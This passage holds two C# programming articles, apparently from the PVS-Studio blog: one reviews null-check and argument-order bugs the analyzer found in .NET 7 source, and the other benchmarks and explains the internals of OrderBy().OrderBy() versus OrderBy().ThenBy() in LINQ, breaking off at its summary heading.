  if (sectionRecord.HasLocationInputs)
  {
    SectionInput input = sectionRecord.LastLocationInput;
    Debug.Assert(input.HasResult, "input.HasResult");
    result = (ConfigurationSection)input.Result;
  }
  else
  {
    if (sectionRecord.HasIndirectLocationInputs)
    {
      Debug.Assert(IsLocationConfig, 
                   "Indirect location inputs exist 
                    only in location config record");
      SectionInput input = sectionRecord.LastIndirectLocationInput;
      Debug.Assert(input != null);
      Debug.Assert(input.HasResult, "input.HasResult");
      result = (ConfigurationSection)input.Result;
    }
    ....
  ....
}

Location: MgmtConfigurationRecord.cs, 341 (link)

We need to dig a bit deeper here. First, let's look at the second if statement:

if (sectionRecord.HasIndirectLocationInputs)
{
  Debug.Assert(IsLocationConfig, 
               "Indirect location inputs exist 
                only in location config record");
  SectionInput input = sectionRecord.LastIndirectLocationInput;
  Debug.Assert(input != null);
  Debug.Assert(input.HasResult, "input.HasResult");
  result = (ConfigurationSection)input.Result;
}

The value of the LastIndirectLocationInput property is written to the input variable*.* After that, input is checked in two asserts: it's checked for null (input != null) and for the presence of result (input.HasResult).

Let's look at the LastIndirectLocationInput property's body to understand which value can be written to the input variable:

internal SectionInput LastIndirectLocationInput
  =>   HasIndirectLocationInputs 
     ? IndirectLocationInputs[IndirectLocationInputs.Count - 1] 
     : null;

On the one hand, the property may return null. On the other hand, if HasIndirectLocationInputs is true, then IndirectLocationInputs[IndirectLocationInputs.Count - 1] is returned instead of explicit null.

The question is, can the value from the IndirectLocationInputs collection be null? Probably yes, although it's not clear from the code. By the way, nullable annotations could help here, but they are not enabled in all .NET projects.

Let's go back to if:

if (sectionRecord.HasIndirectLocationInputs)
{
  Debug.Assert(IsLocationConfig, 
               "Indirect location inputs exist 
                only in location config record");
  SectionInput input = sectionRecord.LastIndirectLocationInput;
  Debug.Assert(input != null);
  Debug.Assert(input.HasResult, "input.HasResult");
  result = (ConfigurationSection)input.Result;
}

The conditional expression is sectionRecord.HasIndirectLocationInputs. *It's the same property that's checked in *LastIndirectLocationInput. Which means LastIndirectLocationInput definitely doesn't return explicit null. However, it's unclear which value will be received from IndirectLocationInputs and written to input.

The developer first checks that input != null and only then checks for the presence of the result — input.HasResult. Looks okay.

Now let's go back to the first if statement:

if (sectionRecord.HasLocationInputs)
{
  SectionInput input = sectionRecord.LastLocationInput;
  Debug.Assert(input.HasResult, "input.HasResult");
  result = (ConfigurationSection)input.Result;
}

Let's look at the LastLocationInput property:

internal SectionInput LastLocationInput 
  =>  HasLocationInputs 
    ? LocationInputs[LocationInputs.Count - 1] 
    : null;

It's written the same way as LastIndirectLocationInput. Just like in the previous case, depending on the flag (HasLocationInputs), either null or a value from the LocationInputs collection is returned.

Now return to the if statement. Its conditional expression is the HasLocationInputs property, which is checked within LastLocationInput. If the code is executed in the then branch of the if statement, this means LastLocationInput cannot return explicit null. Can the value from the LocationInputs collection be null? The question remains unanswered. If it can, then null will be written to input too.

As in the case of the first inspected if, input.HasResult is checked but there's no input != null this time.

Once again. The first inspected code fragment:

SectionInput input = sectionRecord.LastIndirectLocationInput;
Debug.Assert(input != null);
Debug.Assert(input.HasResult, "input.HasResult");
result = (ConfigurationSection)input.Result;

The second one:

SectionInput input = sectionRecord.LastLocationInput;
Debug.Assert(input.HasResult, "input.HasResult");
result = (ConfigurationSection)input.Result;

Looks like the Debug.Assert(input != null) expression is missing.

I opened an issue on GitHub where I described this and other suspicious places related to null checks (you'll see them below).

The developers decided not to fix this fragment and left it as is:

Issues with null checks

I came across several places in code where a reference is dereferenced and only then it's checked for null. I created one issue for all similar code fragments on GitHub.

Let's inspect.

Issue 9

private static RuntimeBinderException BadOperatorTypesError(Expr pOperand1, 
                                                            Expr pOperand2)
{
  // ....
  string strOp = pOperand1.ErrorString;

  Debug.Assert(pOperand1 != null);
  Debug.Assert(pOperand1.Type != null);

  if (pOperand2 != null)
  {
    Debug.Assert(pOperand2.Type != null);
    return ErrorHandling.Error(ErrorCode.ERR_BadBinaryOps,
                               strOp, 
                               pOperand1.Type, 
                               pOperand2.Type);
  }

  return ErrorHandling.Error(ErrorCode.ERR_BadUnaryOp, strOp, pOperand1.Type);
}

Location: ExpressionBinder.cs, 798 (link)

First, pOperand1 is dereferenced (pOperand1.ErrorString) and is checked for null in Debug.Assert *in the next code line. If *pOperand1 is null, then the assert is not triggered, but an exception of the NullReferenceException type is thrown instead.

The code was fixed — pOperand1 is checked before use.

Before:

string strOp = pOperand1.ErrorString;

Debug.Assert(pOperand1 != null);
Debug.Assert(pOperand1.Type != null);

After:

Debug.Assert(pOperand1 != null);
Debug.Assert(pOperand1.Type != null);

string strOp = pOperand1.ErrorString;

Issue 10

public void Execute()
{
  var count = _callbacks.Count;
  if (count == 0)
  {
    return;
  }

  List<Exception>? exceptions = null;

  if (_callbacks != null)
  {
    for (int i = 0; i < count; i++)
    {
      var callback = _callbacks[i];
      Execute(callback, ref exceptions);
    }
  }

  if (exceptions != null)
  {
    throw new AggregateException(exceptions);
  }
}

Location: PipeCompletionCallbacks.cs, 20 (link)

The _callbacks variable is used first and only then it's checked for null:

public void Execute()
{
  var count = _callbacks.Count;
  ....
  if (_callbacks != null)
  ....
}

At the time of writing this article, the developers removed checking _callbacks for null.

By the way, _callbacks is a readonly field that's initialized in a constructor:

internal sealed class PipeCompletionCallbacks
{
  private readonly List<PipeCompletionCallback> _callbacks;
  private readonly Exception? _exception;
  public PipeCompletionCallbacks(List<PipeCompletionCallback> callbacks, 
                                 ExceptionDispatchInfo? edi)
  {
    _callbacks = callbacks;
    _exception = edi?.SourceException;
  }
  ....
}

In the thread with the fix, the developers discussed whether it was worth adding Debug.Assert and checking _callbacks for null into a constructor. In the end, they decided it wasn't.

Issue 11

private void ValidateAttributes(XmlElement elementNode)
{
  ....
  XmlSchemaAttribute schemaAttribute 
    = (_defaultAttributes[i] as XmlSchemaAttribute)!;
  attrQName = schemaAttribute.QualifiedName;
  Debug.Assert(schemaAttribute != null);
  ....
}

Location: DocumentSchemaValidator.cs, 421 (link)

The controversial code:

The result of the as operator is written to schemaAttribute. If _defaultAttributes[i] – null or the cast failed, the result will be null.
The null-forgiving operator ('!') implies that the result of casting cannot be null. Therefore, schemaAttribute cannot be null.
In the next code line, schemaAttribute is dereferenced. Then in a line below, the reference is checked for null.

Here's the question. Can schemaAttribute be null? It's not very clear from the code.

The code was fixed like that:

....
XmlSchemaAttribute schemaAttribute 
  = (XmlSchemaAttribute)_defaultAttributes[i]!;
attrQName = schemaAttribute.QualifiedName;
....

During the discussion of the fix, the developer proposed moving the Debug.Assert call in the line above instead of removing it. The code would look like that:

....
XmlSchemaAttribute schemaAttribute = (XmlSchemaAttribute)_defaultAttributes[i]!;
Debug.Assert(schemaAttribute != null);
attrQName = schemaAttribute.QualifiedName;
....

In the end, they decided not to return Assert.

Issue 12

Let's look at the constructor of the* XmlConfigurationElementTextContent* type:

public XmlConfigurationElementTextContent(string textContent, 
                                          int? linePosition, 
                                          int? lineNumber)
{ .... }

Location: XmlConfigurationElementTextContent.cs, 10 (link)

Now let's see where it's used:

public static IDictionary<string, string?> Read(....)
{
  ....
  case XmlNodeType.EndElement:
    ....
    var lineInfo = reader as IXmlLineInfo;
    var lineNumber = lineInfo?.LineNumber;
    var linePosition = lineInfo?.LinePosition;
    parent.TextContent = new XmlConfigurationElementTextContent(string.Empty, 
                                                                lineNumber,
                                                                linePosition);
    ....
    break;
  ....
  case XmlNodeType.Text:
    ....
    var lineInfo = reader as IXmlLineInfo;
    var lineNumber = lineInfo?.LineNumber;
    var linePosition = lineInfo?.LinePosition;

    XmlConfigurationElement parent = currentPath.Peek();

    parent.TextContent = new XmlConfigurationElementTextContent(reader.Value,
                                                                lineNumber, 
                                                                linePosition);
    ....
    break;
  ....
}

Locations:

XmlStreamConfigurationProvider.cs, 133 (link)
XmlStreamConfigurationProvider.cs, 148 (link)

Have you noticed anything strange in code?

Pay attention to the order of arguments and parameters:

arguments: ..., lineNumber, linePosition;
parameters: ..., linePosition, lineNumber.

I created an issue on GitHub (link), the code was fixed: the developers put arguments in the correct order and added a test.

Issue 13

Another suspicious case:

public virtual bool Nested
{
  get {....}
  set 
  {
    ....
    ForeignKeyConstraint? constraint 
      = ChildTable.Constraints
                  .FindForeignKeyConstraint(ChildKey.ColumnsReference, 
                                            ParentKey.ColumnsReference); 
    ....
  }
}

Location: DataRelation.cs, 486 (link)

Look at the* FindForeignKeyConstraint* method:

internal ForeignKeyConstraint? 
FindForeignKeyConstraint(DataColumn[] parentColumns, 
                         DataColumn[] childColumns)
{ .... }

Location: ConstraintCollection.cs, 548 (link)

Seems like the argument order is mixed up again:

parameters: parent..., child...
arguments: ChildKey..., ParentKey...

There's another method call: the argument order is correct there.

ForeignKeyConstraint? foreignKey
  = relation.ChildTable
            .Constraints
            .FindForeignKeyConstraint(relation.ParentColumnsReference,
                                      relation.ChildColumnsReference);

I created an issue on GitHub: link. Unfortunately, I haven't received any comments on it at the moment of writing the article.

Issue 14

These are not all places where the argument order is mixed up — I found another one:

void RecurseChildren(....)
{
  ....
  string? value 
    =  processValue != null
      ? processValue(new ConfigurationDebugViewContext(
                           child.Key, 
                           child.Path, 
                           valueAndProvider.Value, 
                           valueAndProvider.Provider))
      : valueAndProvider.Value;

  ....
}

Location: ConfigurationRootExtensions.cs, 50 (link)

Look at the* ConfigurationDebugViewContext* constructor:

public ConfigurationDebugViewContext(
  string path, 
  string key, 
  string? value, 
  IConfigurationProvider configurationProvider) 
{ .... }

Location: ConfigurationDebugViewContext.cs, 11 (link)

The order:

parameters: path, key, ...
arguments: child.Key, child.Path, ...

I created an issue on GitHub: link. According to the developers, this case doesn't have any issues despite the mistake.

However, they still fixed the order of arguments.

Conclusion

The .NET code is of high quality. I believe this is achieved by an established development process — the developers know the exact release date. Besides, release candidates help find the most serious errors and prepare the project for the release.

Nevertheless, I still manage to find something intriguing in the code. This time my favorites are arguments that were mixed up during method calls.

All code fragments described in this article were found by the PVS-Studio analyzer. Yes, now it can check projects on .NET 7.

If you want to check your projects (personal or commercial), download the analyzer here. There's also a link to the documentation on this page: we described how to enter the license and run the analysis. If you have any questions or issues — let us know and we'll help.

Sorting in C#: OrderBy.OrderBy or OrderBy.ThenBy? What's more effective and why?

Sergey Vasiliev — Tue, 20 Sep 2022 13:27:46 +0000

Suppose we need to sort the collection by multiple keys. In C#, we can do this with the help of OrderBy().OrderBy() or OrderBy().ThenBy(). But what is the difference between these calls? To answer this question, we need to delve into the source code.

The article has three chapters:

Background. For those who like to warm up a bit before reading an article. Here you'll learn why I decided to do some research and find the difference between OrderBy().OrderBy() and OrderBy().ThenBy().
Performance comparison. Here we'll compare the performance and memory consumption of these sorting methods.
Behavior differences. Here we'll dive into the source code of .NET to find out why these sorting methods differ in efficiency.

Background

It all started with the following article: "Suspicious sortings in Unity, ASP.NET Core, and more". The article describes cases where the order of OrderBy().OrderBy() calls can lead to errors. However, it turns out that sometimes developers intentionally use OrderBy().OrderBy(), not OrderBy().ThenBy().

Take a look at an example. Let's say we have a Wrapper class and an array of instances of the following type:

class Wrapper
{
  public int Primary { get; init; }
  public int Secondary { get; init; }
}

var arr = new Wrapper[]
{
  new() { Primary = 1, Secondary = 2 },
  new() { Primary = 0, Secondary = 1 },
  new() { Primary = 2, Secondary = 1 },
  new() { Primary = 2, Secondary = 0 },
  new() { Primary = 0, Secondary = 2 },
  new() { Primary = 0, Secondary = 3 },
};

We want to sort this array: first by the Primary value, then by Secondary.

If we perform sorting as follows — we make a mistake:

var sorted = arr.OrderBy(p => p.Primary)
                .OrderBy(p => p.Secondary);
....

Here's the result:

Primary: 2 Secondary: 0
Primary: 0 Secondary: 1
Primary: 2 Secondary: 1
Primary: 0 Secondary: 2
Primary: 1 Secondary: 2
Primary: 0 Secondary: 3

We get the wrong result. To sort the collection correctly, we need to use OrderBy().ThenBy():

var sorted = arr.OrderBy(p => p.Primary)
                .ThenBy(p => p.Secondary);
....

Here's the result:

Primary: 0 Secondary: 1
Primary: 0 Secondary: 2
Primary: 0 Secondary: 3
Primary: 1 Secondary: 2
Primary: 2 Secondary: 0
Primary: 2 Secondary: 1

However, we can also use OrderBy().OrderBy() to get the correct result. We just need to swap the calls.

That's how we shouldn't do:

var sorted = arr.OrderBy(p => p.Primary)
                .OrderBy(p => p.Secondary);

And that's how we should do:

var sorted = arr.OrderBy(p => p.Secondary)
                .OrderBy(p => p.Primary);

It turns out that to get the correct result, we can use both options:

// #1
var sorted1 = arr.OrderBy(p => p.Secondary)
                 .OrderBy(p => p.Primary);

// #2
var sorted2 = arr.OrderBy(p => p.Primary)
                 .ThenBy(p => p.Secondary);

I think the second option is more readable.

When you see OrderBy().OrderBy(), you wonder: isn't there an error? So, it is better to use OrderBy().ThenBy(): the code is easier to read, and the developer's intention is clear.

However, these sorting methods differ not only in appearance: their performance and memory consumption vary too.

Performance comparison

Let's experiment with the following code:

struct Wrapper
{
  public int Primary { get; init; }
  public int Secondary { get; init; }
}

Wrapper[] arr = ....;

// #1
_ = arr.OrderBy(p => p.Secondary)
       .OrderBy(p => p.Primary)
       .ToArray();

// #2
_ = arr.OrderBy(p => p.Primary)
       .ThenBy(p => p.Secondary)
       .ToArray();

So, let's sum up the main points:

Wrapper is a structure with two integer properties. We will use them as keys for sorting;
arr is an array of Wrapper instances that we need to sort. The way it was created is not important for tests. We will measure the performance of sorting and obtaining the final array;
there are two ways of sorting: the first one is OrderBy().OrderBy(), the second — OrderBy().ThenBy();
the ToArray() call is used to initiate sorting.

To run tests, I took two sets of generated test data (instances of the Wrapper type). In the first set, the spread of Primary and Secondary values is greater, in the second set it is less. I wrote Wrapper objects (from 10 to 1,000,000) in arr and sorted them.

The test project is running on .NET 6.

Performance

I used BenchmarkDotNet to track the performance.

Below you can see how much it took to perform sorting and get an array. We're not interested in absolute values — the difference between sorting methods is more important.

Data set #1:

arr.Length	10	100	1 000	10 000	100 000	1 000 000
OrderBy().OrderBy()	619 ns	9 us	170 us	2 ms	25.8 ms	315 ms
OrderBy().ThenBy()	285 ns	4.5 us	100 us	1.4 ms	20.4 ms	271 ms
Ratio	2.17	2	1.7	1.43	1.26	1.16

Data set #2:

arr.Length	10	100	1 000	10 000	100 000	1 000 000
OrderBy().OrderBy()	553.3 ns	8.7 us	154 us	2.1 ms	29.5 ms	364 ms
OrderBy().ThenBy()	316.4 ns	4.2 us	80 us	1.1 ms	16.9 ms	240 ms
Ratio	1.75	2.07	1.93	1.91	1.75	1.52

Let's move on and see the time difference if we perform several sortings at once. To do this, we use the for loop:

for (int i = 0; i < iterNum; ++i)
{
  // Perform sorting
}

Here's the time (in seconds) spend to sort 1,000,000 instances of the Wrapper type:

Number of iterations	1	10	100
OrderBy().OrderBy()	0.819	6.52	65.15
OrderBy().ThenBy()	0.571	5.21	42.94
Ratio	1.43	1.25	1.30

Well, the difference in 20 seconds is worth considering.

Memory consumption

There is a similar thing with memory — OrderBy().OrderBy() consumes more. It is especially noticeable on large amounts of data and several iterations.

Here's the difference in the number of objects created per iteration:

Type	OrderBy().OrderBy()	OrderBy().ThenBy()
Int32[]	4	3
Comparison	2	1
Wrapper[]	3	2

As the table suggests, OrderBy().OrderBy() calls create two more arrays. When I was running the test that had 100 sortings, I got a 1GB difference of allocated memory.

It's important to note that the larger the sorted collection is, the larger the "extra" arrays are. As a result, the amount of consumed memory also increases.

Behavior differences

And now it's time to look "under the hood". Just to remind you — we are considering two ways of sorting:

// #1
_ = arr.OrderBy(p => p.Secondary)
       .OrderBy(p => p.Primary)
       .ToArray();

// #2
_ = arr.OrderBy(p => p.Primary)
       .ThenBy(p => p.Secondary)
       .ToArray();

To understand the difference, we need to analyze:

methods that are called;
state of objects for whom methods are called;
the execution flow.

The source code of .NET 6 is available on GitHub.

Top-level methods

We need to discuss three top-level methods: OrderBy, ThenBy, and ToArray. Let's consider each of them.

OrderBy

OrderBy is an extension method that returns an instance of the OrderedEnumerable type:

public static IOrderedEnumerable<TSource> 
OrderBy<TSource, TKey>(this IEnumerable<TSource> source, 
                       Func<TSource, TKey> keySelector)
  => new OrderedEnumerable<TSource, 
                           TKey>(source, 
                                 keySelector, 
                                 null, 
                                 false, 
                                 null);

Here's the* OrderedEnumerable* constructor:

internal OrderedEnumerable( IEnumerable<TElement> source, 
                            Func<TElement, TKey> keySelector, 
                            IComparer<TKey>? comparer, 
                            bool descending, 
                            OrderedEnumerable<TElement>? parent
                           ) : base(source)
{
  ....
  _parent = parent;
  _keySelector = keySelector;
  _comparer = comparer ?? Comparer<TKey>.Default;
  _descending = descending;
}

Here we're interested in the base constructor call — base(source). The base type is OrderedEnumerable. The constructor looks as follows:

protected OrderedEnumerable(IEnumerable<TElement> source) 
  => _source = source;

Let's brush up on what we've already discussed: as a result of the OrderBy call, the OrderedEnumerable instance is created. Its state is determined by the following fields:

_source;
_parent;
_keySelector;
_comparer;
_descending.

ThenBy

ThenBy is an extension method:

public static IOrderedEnumerable<TSource> 
ThenBy<TSource, TKey>(this IOrderedEnumerable<TSource> source, 
                      Func<TSource, TKey> keySelector)
{
  ....
  return source.CreateOrderedEnumerable(keySelector, null, false);
}

In our case, the type of the source variable is OrderedEnumerable. Let's take a look at the implementation of the CreateOrderedEnumerable method that will be called:

IOrderedEnumerable<TElement> 
IOrderedEnumerable<TElement>
 .CreateOrderedEnumerable<TKey>(Func<TElement, TKey> keySelector, 
                                IComparer<TKey>? comparer, 
                                bool descending) 
  => new OrderedEnumerable<TElement, 
                           TKey>(_source, 
                                 keySelector, 
                                 comparer, 
                                 @descending, 
                                 this);

We see that the constructor of the OrderedEnumerable type (that we've already discussed in the OrderBy section) is called. The arguments of the call differ, and, as a result, the state of the created object differs.

Let's brush it up: ThenBy (like OrderBy), in our case returns an instance of the OrderedEnumerable type.

ToArray

ToArray is an extension method:

public static TSource[] ToArray<TSource>(this IEnumerable<TSource> source)
{
  ....
  return source is IIListProvider<TSource> arrayProvider
    ? arrayProvider.ToArray()
    : EnumerableHelpers.ToArray(source);
}

In both cases, source are the instances of the OrderedEnumerable type. This type implements the IIlistProvider interface. Therefore, the execution will go via the arrayProvider.ToArray() call. In fact, the OrderedEnumerable.ToArray method will be called:

public TElement[] ToArray()
{
  Buffer<TElement> buffer = new Buffer<TElement>(_source);

  int count = buffer._count;
  if (count == 0)
  {
    return buffer._items;
  }

  TElement[] array = new TElement[count];
  int[] map = SortedMap(buffer);
  for (int i = 0; i != array.Length; i++)
  {
    array[i] = buffer._items[map[i]];
  }

  return array;
}

And here the main differences occur. Before we continue to dive deeper, we need to examine the state of the objects we will be working with.

States of OrderedEnumerable objects

Let's get back to the source examples:

// #1
_ = arr.OrderBy(p => p.Secondary) // Wrapper[] -> #1.1
       .OrderBy(p => p.Primary)   // #1.1 -> #1.2
       .ToArray();                // #1.2 -> Wrapper[]

// #2
_ = arr.OrderBy(p => p.Primary)  // Wrapper[] -> #2.1
       .ThenBy(p => p.Secondary) // #2.1 -> #2.2
       .ToArray();               // #2.2 -> Wrapper[]

We need to compare four objects arranged in pairs:

#1.1 and #2.1 are objects created by the first OrderBy calls in both examples;
#1.2 and #2.2 are objects created by the second OrderBy call in the first example and by the ThenBy call in the second example.

As a result, we get 2 tables for comparing the states of objects.

Here are the states of objects created by the first OrderBy calls:

Field	Object #1.1	Object #2.1
_source	arr	arr
_comparer	Comparer.Default	Comparer.Default
_descending	false	false
_keySelector	p => p.Secondary	p => p.Primary
_parent	null	null

This pair is identical. Only selectors differ.

Here are the states of objects created by the second call of OrderBy (#1.2) and ThenBy (#2.2):

Field	Object #1.2	Object #2.2
_source	Object #1.1	arr
_comparer	Comparer.Default	Comparer.Default
_descending	false	false
_keySelector	p => p.Primary	p => p.Secondary
_parent	null	Object #2.1

Here the selectors also differ — and this is expected. Curious that _source and _parent fields differ. The state of the object in case of the ThenBy (#2.2) call seems more correct: the reference to the source collection is saved, and there's a "parent" — the result of the previous sorting.

Execution flow

Now we need to find out how the state of objects affects the execution flow.

Let's get back to the ToArray method:

public TElement[] ToArray()
{
  Buffer<TElement> buffer = new Buffer<TElement>(_source);

  int count = buffer._count;
  if (count == 0)
  {
    return buffer._items;
  }

  TElement[] array = new TElement[count];
  int[] map = SortedMap(buffer);
  for (int i = 0; i != array.Length; i++)
  {
    array[i] = buffer._items[map[i]];
  }

  return array;
}

Keep in mind that objects received by different calls have different _source fields:

OrderBy().OrderBy() refers to the* OrderedEnumerable* instance;
OrderBy().ThenBy() refers to the Wrapper[] instance.

Let's consider the determining of the Buffer type:

internal readonly struct Buffer<TElement>
{
  internal readonly TElement[] _items;
  internal readonly int _count;

  internal Buffer(IEnumerable<TElement> source)
  {
    if (source is IIListProvider<TElement> iterator)
    {
      TElement[] array = iterator.ToArray();
      _items = array;
      _count = array.Length;
    }
    else
    {
      _items = EnumerableHelpers.ToArray(source, out _count);
    }
  }
}

This is where behavior starts to differ:

for OrderBy().OrderBy() calls the execution follows the then branch, since OrderedEnumerable implements the IIListProvider interface;
for OrderBy().ThenBy() calls the execution follows the else branch, because arrays (in our case* it is Wrapper[]*) do not implement this interface.

In the first case, we are getting back to the ToArray method that was given above. Then, we get into the Buffer constructor again, but the execution will follow the else branch, because the _source of the object #1.1 is Wrapper[].

EnumerableHelpers.ToArray just creates a copy of the array:

internal static T[] ToArray<T>(IEnumerable<T> source, out int length)
{
  if (source is ICollection<T> ic)
  {
    int count = ic.Count;
    if (count != 0)
    {        
      T[] arr = new T[count];
      ic.CopyTo(arr, 0);
      length = count;
      return arr;
    }
  }
  else
    ....

  ....
}

The execution follows the then branch. I omitted the rest of code, because in our case it is unimportant.

The difference is clearer in call stacks. Pay attention to the bold "extra" calls:

Call stack for OrderBy().OrderBy()	Call stack for OrderBy().ThenBy()

EnumerableHelpers.ToArray	EnumerableHelpers.ToArray
Buffer.ctor	Buffer.ctor
OrderedEnumerable.ToArray	OrderedEnumerable.ToArray
Buffer.ctor	Enumerable.ToArray
OrderedEnumerable.ToArray	Main
Enumerable.ToArray
Main

By the way, this also explains the difference in the number of created objects. Here's the table we discussed previously:

Type	OrderBy().OrderBy()	OrderBy().ThenBy()
Int32[]	4	3
Comparison	2	1
Wrapper[]	3	2

The most interesting arrays here are: Int32[] and Wrapper[]. They arise because the execution flow unnecessarily passes via the OrderedEnumerable.ToArray method once again:

public TElement[] ToArray()
{
  ....
  TElement[] array = new TElement[count];
  int[] map = SortedMap(buffer);
  ....
}

Just to remind you — the sizes of array and map arrays depend on the size of the sorted collection: the larger it is, the larger the overhead will be — because of the unnecessary OrderedEnumerable.ToArray call.

The same thing is with the performance. Let's take another look at the code of the OrderedEnumerable.ToArray method:

public TElement[] ToArray()
{
  Buffer<TElement> buffer = new Buffer<TElement>(_source);

  int count = buffer._count;
  if (count == 0)
  {
    return buffer._items;
  }

  TElement[] array = new TElement[count];
  int[] map = SortedMap(buffer);
  for (int i = 0; i != array.Length; i++)
  {
    array[i] = buffer._items[map[i]];
  }

  return array;
}

We are interested in the map array. It describes the relationship between the positions of elements in arrays:

index is the position of an element in the resulting array;
the index value is the position in the source array.

Let's say map[5] == 62. This means that the element takes the 62nd position in the source array, and the 5th position in the resulting array.

To get a so-called "relationship map", the SortedMap method is used:

private int[] SortedMap(Buffer<TElement> buffer) 
  => GetEnumerableSorter().Sort(buffer._items, buffer._count);

Here's the GetEnumerableSorter method:

private EnumerableSorter<TElement> GetEnumerableSorter() 
  => GetEnumerableSorter(null);

Let's take a look at the method overload:

internal override EnumerableSorter<TElement> 
GetEnumerableSorter(EnumerableSorter<TElement>? next)
{
  ....

  EnumerableSorter<TElement> sorter = 
    new EnumerableSorter<TElement, TKey>(_keySelector, 
                                         comparer, 
                                         _descending, 
                                         next);
  if (_parent != null)
  {
    sorter = _parent.GetEnumerableSorter(sorter);
  }

  return sorter;
}

Here comes up another difference between the sorting methods that we are discussing:

OrderBy().OrderBy(): _parent of the object #1.2 is null. As a result, one instance of EnumerableSorter is created.
OrderBy().ThenBy(): _parent of the object #2.2 points to the object #2.1. This means that two EnumerableSorter instances related to each other will be created. This happens because the _parent.GetEnumerableSorter(sorter) method is called once again.

Here's the called EnumerableSorter constructor:

internal EnumerableSorter(
  Func<TElement, TKey> keySelector, 
  IComparer<TKey> comparer, 
  bool descending, 
  EnumerableSorter<TElement>? next)
{
  _keySelector = keySelector;
  _comparer = comparer;
  _descending = descending;
  _next = next;
}

The constructor just initializes the object fields. There is another field that is not used in the constructor — _keys. It will be initialized later in the ComputeKeys method.

Let's consider what the fields are responsible for. To do this, let's discuss one of the sorting ways:

_ = arr.OrderBy(p => p.Primary)
       .ThenBy(p => p.Secondary)
       .ToArray();

To perform sorting via OrderBy, an instance of EnumerableSorter will be created. It has the following fields:

_keySelector: a delegate responsible for mapping the source object to the key. In our case it's Wrapper -> int. The delegate: p => p.Primary;
_comparer: a comparator used to compare keys. Comparer.Default if not explicitly specified;
_descenging: a flag meaning that the collection is sorted in descending order;
_next: a reference to the EnumerableSorter object responsible for the following sorting criteria. In the example above, there is a reference to an object that was created for sorting by the criterion from ThenBy.

After the EnumerableSorter instance was created and initialized, the Sort method is called for it:

private int[] SortedMap(Buffer<TElement> buffer) 
  => GetEnumerableSorter().Sort(buffer._items, buffer._count);

Here's the body of the Sort method:

internal int[] Sort(TElement[] elements, int count)
{
  int[] map = ComputeMap(elements, count);
  QuickSort(map, 0, count - 1);
  return map;
}

Here's the ComputeMap method:

private int[] ComputeMap(TElement[] elements, int count)
{
  ComputeKeys(elements, count);
  int[] map = new int[count];
  for (int i = 0; i < map.Length; i++)
  {
    map[i] = i;
  }

  return map;
}

Let's take a look at the ComputeKeys method:

internal override void ComputeKeys(TElement[] elements, int count)
{
  _keys = new TKey[count];
  for (int i = 0; i < count; i++)
  {
    _keys[i] = _keySelector(elements[i]);
  }

  _next?.ComputeKeys(elements, count);
}

In this method, the _keys array of the EnumerableSorter instance is initialized. The _next?.ComputeKeys(elements, count) call allows initializing the entire chain of related EnumerableSorter objects.

Why do we need the _keys field? The array stores the results of calling the selector on each element of the source array. So, we get an array of keys that will be used to perform sorting.

Here's an example:

var arr = new Wrapper[]
{
  new() { Primary = 3, Secondary = 2 },
  new() { Primary = 3, Secondary = 1 },
  new() { Primary = 1, Secondary = 0 }
};

_ = arr.OrderBy(p => p.Primary)
       .ThenBy(p => p.Secondary)
       .ToArray();

In this example, two related EnumerableSorter instances will be created.

Field	EnumerableSorter #1	EnumerableSorter #2
_keySelector	p => p.Primary	p => p.Secondary
_keys	[3, 3, 1]	[2, 1, 0]

Thus, _keys stores sorting keys for each element of the source array.

Let's get back to the ComputeMap method:

private int[] ComputeMap(TElement[] elements, int count)
{
  ComputeKeys(elements, count);
  int[] map = new int[count];
  for (int i = 0; i < map.Length; i++)
  {
    map[i] = i;
  }

  return map;
}

After calling the ComputeKeys method, the map array is created and initialized. This is the array that describes the relationship between the positions in the source and resulting arrays. In this method, it still describes the i -> i relationship. This means that the positions in the source array coincide with the positions in the resulting array.

Let's get back to the Sort method:

internal int[] Sort(TElement[] elements, int count)
{
  int[] map = ComputeMap(elements, count);
  QuickSort(map, 0, count - 1);
  return map;
}

We are interested in the QuickSort method that makes the map array to look the way we need. Right after this operation we get the correct relationship between the positions of elements in the source array and in the resulting one.

Here's the body of the QuickSort method:

protected override void QuickSort(int[] keys, int lo, int hi) 
  => new Span<int>(keys, lo, hi - lo + 1).Sort(CompareAnyKeys);

We won't dive into the details of Span and its Sort method. Let's focus on the fact that it sorts the array considering the Comparison delegate:

public delegate int Comparison<in T>(T x, T y);

It's a classic delegate for comparison. It takes two elements, compares them, and returns the value:

< 0 if x is less than y;
0 if x is equal to y;
> 0 if x is greater than y.

In our case, the CompareAnyKeys method is used for comparison:

internal override int CompareAnyKeys(int index1, int index2)
{
  Debug.Assert(_keys != null);

  int c = _comparer.Compare(_keys[index1], _keys[index2]);
  if (c == 0)
  {
    if (_next == null)
    {
      return index1 - index2; // ensure stability of sort
    }

    return _next.CompareAnyKeys(index1, index2);
  }

  // ....
  return (_descending != (c > 0)) ? 1 : -1;
}

So, let's see what we have:

int c = _comparer.Compare(_keys[index1], _keys[index2]);
if (c == 0)
  ....

return (_descending != (c > 0)) ? 1 : -1;

Two elements are compared via a comparator written in _comparer. Since we have not explicitly set any comparator, Comparer.Default is used (in our case – Comparer.Default).

If elements are not equal, the c == 0 condition is not executed, and the execution flow goes to return. The _descending field stores the information on how the elements are sorted — in descending or ascending order. If necessary, the field is used to correct the value returned by the method.

But what if the elements are equal?

if (c == 0)
{
  if (_next == null)
  {
    return index1 - index2; // ensure stability of sort
  }

  return _next.CompareAnyKeys(index1, index2);
}

Here come the chains of EnumerableSorter instances related to each other. If the compared keys are equal, a check is performed to see if there are any other sorting criteria. If there is (_next != null), the comparison is performed via them.

It turns out that all sorting criteria are considered in one call of the Sort method.

What happens if we use OrderBy().OrderBy()? To find out, let's get back to creating the EnumerableSorter instance:

internal override EnumerableSorter<TElement> 
GetEnumerableSorter(EnumerableSorter<TElement>? next)
{
  ....

  EnumerableSorter<TElement> sorter = 
    new EnumerableSorter<TElement, TKey>(_keySelector, 
                                         comparer, 
                                         _descending, 
                                         next);
  if (_parent != null)
  {
    sorter = _parent.GetEnumerableSorter(sorter);
  }

  return sorter;
}

The _parent value of the object obtained as a result of the second OrderBy call is null. This means that one EnumerableSorter instance is created. It is not related to something, the value of _next is null.

It turns out that we need to perform all the actions described above twice. We've already discussed how this affects the performance. To remind you, I'd duplicate one of the tables given above.

Here's the time (in seconds) spend to sort 1,000,000 instances of the Wrapper type:

Number of iterations	1	10	100
OrderBy().OrderBy()	0.819	6.52	65.15
OrderBy().ThenBy()	0.571	5.21	42.94

The difference in a nutshell

